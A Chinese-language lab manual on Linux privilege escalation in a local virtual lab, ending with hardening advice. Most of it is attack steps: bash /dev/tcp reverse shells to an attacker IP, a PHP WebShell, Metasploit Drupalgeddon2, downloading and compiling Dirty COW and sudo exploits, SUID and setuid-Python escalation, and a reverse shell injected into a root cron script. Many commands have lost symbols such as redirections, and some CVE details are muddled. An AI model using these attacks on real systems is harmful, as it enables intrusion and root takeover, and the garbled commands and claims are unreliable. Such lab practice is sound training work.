Linux提权完整实验手册:从反弹Shell到Root权限 法律安全警示依据《中华人民共和国网络安全法》任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。本文档内容仅用于网络安全合规学习、企业内部安全运维、授权渗透测试场景严禁用于未授权的非法攻击行为。整理了这份笔记以供复盘和学习交流之用。一、实验环境与前置基础本次实验全部在本地虚拟化环境中完成不涉及任何真实互联网资产。攻击机使用Windows宿主机IP192.168.198.1与Kali 2023作为辅助攻击机靶机使用Kali 2020用于测试反弹Shell及基础命令以及Lampiao脏牛专属靶机Vulnhub靶场内核版本4.4.0-31-generic。所有操作均在VMware虚拟网络下进行确保网络互通。默认网站根目录Apache为/var/www/htmlNginx为/usr/share/nginx/html。实验前请确认Apache服务已启动并将木马文件如hao.php放置于网站根目录。1.1 12类Linux命令速查进入正式实验前先复习一下常用的Linux命令。以下命令按功能分类整理覆盖系统信息、文件操作、进程管理、用户账户、网络服务等场景是Linux提权过程中最常用的指令集合。分类命令/示例说明系统信息查看uname -acat /etc/issuecat /etc/*-releasedatewhoamiwhowlastlastlog内核版本、发行版、当前用户、登录记录等文件目录操作dir / ls -alpwdcd / cd ..cat 文件名 / cat abc.txtcp / mv / rmmkdir / rmdirchmodgrepdiff / find列出、切换、创建、复制、移动、删除、权限修改、文本搜索、文件比较与查找用户账户管理cat /etc/passwdcat /etc/shadowuseraddgroupspasswdgrep -v -E ^# /etc/passwd | awk -F: $3 0 { print $1}查看所有用户、密码需root、添加用户、查看组、改密码、列出超级用户进程控制pskill查看进程状态、终止进程程序编译gcc编译C语言源码常用于编译提权EXP权限转换su切换用户身份网络服务telnet IPftp远程连接、文件传输历史命令history查看当前用户执行过的命令记录文件查看more分页查看文本文件压缩解压未列但常用tar/gzip打包、压缩、解压程序安装apt / yum包管理工具其他补充netstat、ss、nmap网络连接、端口监听、扫描二、反弹Shell交互式Shell与WebShell的本质区别在Linux提权的攻击链中反弹Shell是承上启下的关键环节。WebShell如PHP木马只能以非交互方式执行命令每次执行都会启动一个新进程环境变量无法保持且无法运行需要终端交互的程序如vim、top、提权脚本。而交互式Shell通过建立TCP长连接将目标主机的标准输入/输出/错误全部重定向到攻击机从而获得完整的命令行控制权。核心区别WebShell是命令执行器交互式Shell是终端仿真器。绝大多数内核漏洞利用程序如脏牛和Sudo漏洞EXP都必须在交互式Shell中运行否则会因无法处理交互提示或信号而失败。2.1 /bin/sh 与 /bin/bash 的差异在Debian/Kali系统中/bin/sh默认指向dash轻量级POSIX解释器而非bash。dash不支持/dev/tcp网络重定向、数组、高级重定向语法等bash扩展特性。当通过WebShell执行命令时系统默认使用/bin/sh -c来解析命令因此直接执行bash -i /dev/tcp/...会报语法错误。正确的做法是使用Python、Perl等不依赖shell特性的方式或者通过/bin/bash -c ...强制指定解释器。2.2 实验通过WebShellhao.php反弹交互式Shell步骤1在Kali 2020靶机上搭建Apache网站# 启动Apache服务 /etc/init.d/apache2 start # 或 service apache2 start # 查看状态 service apache2 status # 确认IP地址 ifconfig将hao.php木马文件放置于网站根目录/var/www/html下通过浏览器访问http://靶机IP/hao.php确认木马可访问。步骤2攻击机Windows开启NC监听在Windows宿主机上进入nc.exe所在目录执行nc -lvvp 12666步骤3在WebShell中执行反弹访问hao.php进入WebShell管理界面找到反弹连接功能选择Socket 反弹 - Linux或C/Perl反弹模式填写攻击机IP192.168.198.1和监听端口12666点击执行。此时NC监听窗口应收到连接获得交互式Shell。步骤4Python升级为完整TTY在获得的Shell中执行以下命令解决Tab补全、命令历史等问题python -c import pty; pty.spawn(/bin/bash)2.3 纯Bash反弹不依赖WebShell若目标主机可直接执行命令如通过SSH可使用以下标准反弹方式# 攻击机监听 nc -lvvp 8000 # 靶机执行 bash -i /dev/tcp/192.168.198.1/8000 01该命令通过/dev/tcp虚拟设备建立TCP连接将交互式bash的输入输出与网络套接字绑定。三、内核漏洞提权脏牛Dirty Cow完整复现脏牛漏洞CVE-2016-5195是Linux内核中一个经典的竞争条件漏洞影响内核版本2.6.22至3.9脏牛1.0以及部分4.x内核脏牛2.0CVE-2022-0847。漏洞原理当进程尝试修改只读内存页时另一个进程并发访问该页导致权限检查被绕过攻击者可借此覆写任意文件如/etc/passwd从而创建root权限用户。实验靶场LampiaoVulnhub靶场内核4.4.0-31-generic下载地址Lampião: 1 ~ VulnHub。靶机开放端口22SSH、80HTTP、1898Drupal。3.1 信息收集与MSF GetShell使用nmap扫描网段定位靶机IPnmap 192.168.198.0/24 nmap -p- 192.168.198.155选择MSF模块的Rank依据在Metasploit中搜索Drupal相关模块时会显示每个模块的Rank评级。Rank从低到高依次为manual手动、low、average、normal、good、great、excellent。在实验中应优先选择Rank为excellent、great或good的模块因为这些模块经过广泛验证成功率和稳定性更高。例如drupal_drupalgeddon2的Rank为excellent是本次实验的首选。msfconsole search drupal # 输出模块列表观察Rank列 use exploit/unix/webapp/drupal_drupalgeddon2 show options set RHOSTS 192.168.198.155 set RPORT 1898 set LHOST 192.168.198.1 # 攻击机IP run获得会话后进入交互式Shellshell python -c import pty; pty.spawn(/bin/bash)3.2 搭建临时文件传输服务在Windows宿主机上打开CMD进入存放dirty.c源码的目录然后使用Python 3开启HTTP服务将当前目录绑定到8080端口使靶机能够通过HTTP下载文件。python -m http.server 8080 --bind 192.168.198.1执行后当前目录下的所有文件均可通过 http://192.168.198.1:8080/ 访问。若本机防火墙阻止需临时放行8080端口。此外也可以使用棱角社区forum.ywhack.com提供的文件下载命令生成工具快速生成wget或curl指令简化文件传输过程。3.3 脏牛提权执行查看内核版本确认漏洞存在uname -a # Linux lampiao 4.4.0-31-generic ...在攻击机上下载脏牛1.0源码dirty.cpp并放置于HTTP服务目录# 攻击机Kali/Windows wget https://www.exploit-db.com/raw/40847 -O Dirty.cpp # 将 Dirty.cpp 放在 HTTP 服务根目录 # 靶机Lampiao cd /tmp wget http://192.168.198.1:8080/Dirty.cpp .ccp的⽂件在Linux系统中⽆法直接利⽤因此需要编译 g -Wall -pedantic -O2 -stdc11 -pthread -o dcow Dirty.cpp -lutil 命令注释 -Wall ⼀般使⽤该选项允许发出GCC能够提供的所有有⽤的警告 -pedantic 允许发出ANSI/ISO C标准所列出的所有警告 -O2编译器的优化选项的4个级别-O0表⽰没有优化,-O1为缺省值-O3优化级别最⾼ -stdc11就是⽤按C2011标准来编译的 -pthread 在Linux中要⽤到多线程时需要链接pthread库 -o dcow gcc⽣成的⽬标⽂件,名字为dcow #执⾏编译好的脚本⽂件 ./dcow -s执行成功后统会新增一个名为firefart的root权限用户密码为123456。切换用户即可获得rootwhoami # root四、Sudo与SUID配置漏洞提权本节将Sudo漏洞提权放在前面因为Sudo漏洞如CVE-2021-3156、CVE-2023-22809在实战中利用更直接影响范围更广。4.1 Sudo漏洞提权CVE-2021-3156CVE-2021-3156Baron Samedit是sudo程序的一个堆缓冲区溢出漏洞影响sudo 1.8.2 ~ 1.8.31p2及1.9.0 ~ 1.9.5p1版本。利用该漏洞任何本地普通用户无需密码即可获得root权限。利用步骤sudo --version # 确认版本 mkdir exp cd exp # 上传brute.sh, hax.c, lib.c, Makefile至该目录 make ./sudo-hax-me-a-sandwich 0 # 0对应Ubuntu 18.04 # 成功则输出 [] bllng bllng! We got it! whoami # root4.2 CVE-2023-22809 Sudoedit权限绕过CVE-2023-22809漏洞影响sudo 1.8.0 ~ 1.9.12p1版本允许攻击者利用sudoedit的环境变量注入绕过配置文件校验编辑任意文件从而提权。利用方法类似上传SUDO-EXP.sh脚本赋予执行权限后运行。chmod 777 SUDO-EXP.sh bash SUDO-EXP.sh # 提示输入y确认提权至root4.3 SUID特殊权限提权SUIDSet User ID是一种特殊权限位当可执行文件设置了SUID位权限4000后任何用户执行该文件时都会临时获得文件属主的权限。若属主为root则普通用户可通过该程序执行root操作。常见高危SUID程序包括find、vim、bash、nmap等。查找SUID文件find / -perm -4000 2/dev/null以find命令为例若其具有SUID权限touch test find test -exec whoami \; # 输出root find test -exec /bin/bash -p \; # 弹出root shell若出现权限受限也就是我们说的提前到一半被卡住可使用Python强制重置UIDpython -c import os; os.setuid(0); os.setgid(0); os.system(/bin/bash)五、计划任务Crontab反弹Shell提权计划任务提权属于配置失误类漏洞。管理员有时会以root身份运行定时脚本但若脚本或脚本所在目录权限为777则普通用户可篡改脚本内容注入反弹Shell命令等待下一次定时触发即可获得root权限。实验复现步骤本地Kali模拟# 以root身份创建可写的定时脚本 sudo -i cat /tmp/backup.sh EOF #!/bin/bash echo Backup done /tmp/log.txt EOF chmod 777 /tmp/backup.sh echo * * * * * root /tmp/backup.sh /etc/crontab exit # 普通用户身份注入反弹Shell echo bash -i /dev/tcp/192.168.198.1/4444 01 /tmp/backup.sh # 攻击机监听 nc -lvvp 4444 # 等待最多60秒即可收到root反弹Shell六、命令速查表本速查表已包含本次实验涉及的所有关键命令并且补充了Python HTTP服务启动、棱角社区工具提示等内容。目的命令示例备注/原理查看内核版本uname -a确认脏牛等漏洞是否适用查找SUID文件find / -perm -4000 2/dev/null寻找可提权的二进制程序反弹Shellbashbash -i /dev/tcp/IP/PORT 01需要目标系统使用bash反弹ShellPythonpython -c import socket,subprocess,os; ...通用不依赖shell特性启动Python HTTP服务python -m http.server 8080 --bind IP用于靶机下载文件也可使用棱角社区工具生成wget/curl命令脏牛提权编译gcc -pthread dirty.c -o dirty -lcrypt编译后执行 ./dirty 密码CVE-2021-3156利用./sudo-hax-me-a-sandwich 0需匹配目标系统编号CVE-2023-22809利用bash SUDO-EXP.sh确认sudo版本在1.8.0~1.9.12p1find提权find test -exec /bin/bash -p \;-p参数保留SUID权限计划任务篡改echo 反弹命令 /path/script.sh前提脚本可写且以root运行强制重置UIDpython -c import os; os.setuid(0); os.system(/bin/bash)解决部分提权后权限受限问题七、综合防御与安全开发思考从安全防御的角度本次实验中的每种提权手法都有对应的加固措施内核层面定期更新Linux内核及时修复脏牛等本地提权漏洞限制/dev/mem访问开启KASLR等内核加固特性。文件权限层面严禁为find、vim、bash等工具设置SUID权限定期巡检系统中所有SUID文件find / -perm -4000移除不必要的SUID位定时任务脚本及所在目录应设置为700仅允许root读写执行。Sudo层面升级sudo至最新稳定版至少1.9.12p2以上严格管控/etc/sudoers禁止普通用户拥有ALL权限限制sudo可执行的命令白名单禁止通过sudo调用编辑器或shell。Web安全层面网站运行用户应使用低权限账号如www-data禁止以root启动Web服务严格过滤上传文件防止一句话木马等恶意脚本被上传执行。监控与审计开启系统审计日志auditd监控SUID文件变更、sudo调用、计划任务修改等异常行为定期审查/var/log/syslog中的Cron执行记录。八、拓展阅读与留言以下为本文档涉及的所有外部拓展链接脏牛2.0漏洞利用https://www.cnblogs.com/nanhe7/articles/15983002.htmlCVE-2023-22809 Sudo漏洞详解https://blog.csdn.net/m0_46317063/article/details/131062002Sudo各类提权方法合集https://mp.weixin.qq.com/s/wl714G1TRqhqE6KOOnEJPgSUID提权全工具利用https://pentestlab.blog/2017/09/25/suid-executables/Linux全套提权总结文档https://www.cnblogs.com/hellobao/articles/17259849.html反弹Shell在线生成工具https://forum.ywhack.com/shell.php反弹Shell教程博客1https://blog.csdn.net/weixin_53747497/article/details/131692315反弹Shell教程博客2http://www.360doc.com/content/22/0918/19/77981587_1048422017.shtml反弹Shell教程博客3https://blog.51cto.com/u_12343119/5851134Exploit-DB漏洞详情页EDB-19256https://www.exploit-db.com/exploits/19256Linux内核漏洞EXP开源仓库https://github.com/SecWiki/linux-kernel-exploitsSudo漏洞靶场搭建教程https://blog.csdn.net/qq_40280673/article/details/134551826SUID权限基础详解https://blog.51cto.com/rachy/1882559SUID/SGID/Sticky三特殊权限讲解https://blog.51cto.com/chomper/1684724本文档仅供网络安全学习与授权测试参考请勿用于非法活动。欢迎留言交流实验心得与问题。